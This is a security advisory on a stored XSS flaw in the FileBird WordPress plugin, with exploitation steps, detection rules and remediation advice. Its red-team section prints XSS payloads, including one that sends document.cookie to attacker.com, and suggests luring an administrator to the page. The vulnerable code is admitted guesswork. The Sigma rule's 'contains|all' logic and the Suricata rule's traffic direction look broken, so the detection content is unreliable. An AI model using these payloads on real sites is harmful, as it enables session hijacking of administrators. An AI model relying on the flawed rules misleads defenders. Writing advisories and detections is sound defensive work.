CVE-2024-2345

Executive Summary

CVE-2024-2345 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the FileBird – WordPress Media Library Folders & File Manager plugin, versions up to and including 5.6.3. This flaw allows authenticated attackers with Author-level access or higher to inject arbitrary web scripts via the folder name parameter. The vulnerability arises from insufficient input sanitization and output escaping, enabling persistent XSS payloads that execute when any user (including administrators) accesses the affected page. Given the plugin’s widespread use in WordPress media management, this poses a significant risk to site integrity and user data confidentiality.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The FileBird plugin is a popular tool for organizing media library items into folders. The attack vector leverages the plugin’s folder creation functionality, which is accessible to users with Author privileges. No Apache or Nginx server-level misconfiguration is involved.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: Required (victim must access the page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the ability for an authenticated attacker to execute persistent XSS against administrators can lead to privilege escalation, session hijacking, or malware distribution.

Deep Dive & Mechanics

The vulnerability resides in the folder name parameter used by the FileBird plugin when creating or renaming folders. The plugin fails to properly sanitize user input and escape output when rendering folder names in the admin interface. An attacker with Author-level access can craft a folder name containing malicious JavaScript, such as:

<script>alert('XSS')</script>

When an administrator or other user navigates to the media library page where the folder is displayed, the script executes in the context of the victim’s session. This can be used to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

The attack flow:

1. Attacker logs in with Author credentials.
2. Attacker creates a new folder with a malicious name containing XSS payload.
3. Administrator or other user visits the Media Library page.
4. The malicious script executes, potentially exfiltrating session tokens or performing unauthorized actions.

Vulnerable vs. Patched Code

Vulnerable Code (FileBird <= 5.6.3): The plugin likely uses a function like esc_html() or sanitize_text_field() incorrectly, or omits output escaping entirely when rendering folder names. For example:

// Vulnerable: direct output without escaping
echo $folder_name;

Patched Code (Hypothetical): A proper fix would involve using esc_html() or wp_kses_post() when outputting folder names, and sanitize_text_field() on input. For example:

// Patched: escape output
echo esc_html( $folder_name );

Since no official patch is available, users must manually apply input validation and output escaping or disable the plugin until an update is released.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with FileBird plugin <= 5.6.3
• Attacker account with Author-level privileges

Steps:

1. Log in to WordPress as an Author.
2. Navigate to Media Library > FileBird.
3. Create a new folder with the following name:

   <img src=x onerror=alert(document.cookie)>
   

4. Save the folder.
5. Craft a social engineering link to the Media Library page and send it to an administrator.
6. When the admin views the folder, the XSS payload executes, exfiltrating cookies to an attacker-controlled server.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual folder names containing HTML/JavaScript characters.
• Review logs for folder creation events by Author-level users.
• Use WAF rules to block XSS payloads in folder name parameters.

Defense:

• Apply input validation: strip all HTML tags from folder names.
• Use output escaping: esc_html() when displaying folder names.
• Restrict Author-level permissions if not required.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from WordPress admin pages.
• File System: Presence of JavaScript payloads in the wp_postmeta table under folder name entries.
• Logs: Repeated folder creation attempts with suspicious characters (e.g., <, >, script).
• Database: Entries in wp_fbv (FileBird’s custom table) containing HTML/JavaScript.

Example IOC in Database:

SELECT * FROM wp_fbv WHERE folder_name LIKE '%<script>%';

Detection Engineering

YARA Rule

rule CVE_2024_2345_FileBird_XSS {
    meta:
        description = "Detects stored XSS payloads in FileBird folder names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-2345"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: FileBird Stored XSS via Folder Name
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of folders with XSS payloads in FileBird plugin
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: folder_created
        folder_name|contains|all:
            - '<script'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in folder names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-2345 FileBird Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=fbv_folder_create"; http_client_body; pcre:"/(<script|<img|<svg)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available.
2. Restrict Author-level permissions to only trusted users.
3. Apply a Web Application Firewall (WAF) rule to block XSS payloads in folder name parameters.

Long-term Fix:

• Monitor the vendor’s website for an updated version (>= 5.6.4).
• Apply the patch as soon as it is released.
• Conduct a security audit of all WordPress plugins.

Workaround:

• Manually edit the plugin code to add esc_html() around folder name output (not recommended for non-developers).

Valters IT
DevSecOps & Cyber Threat Intelligence Division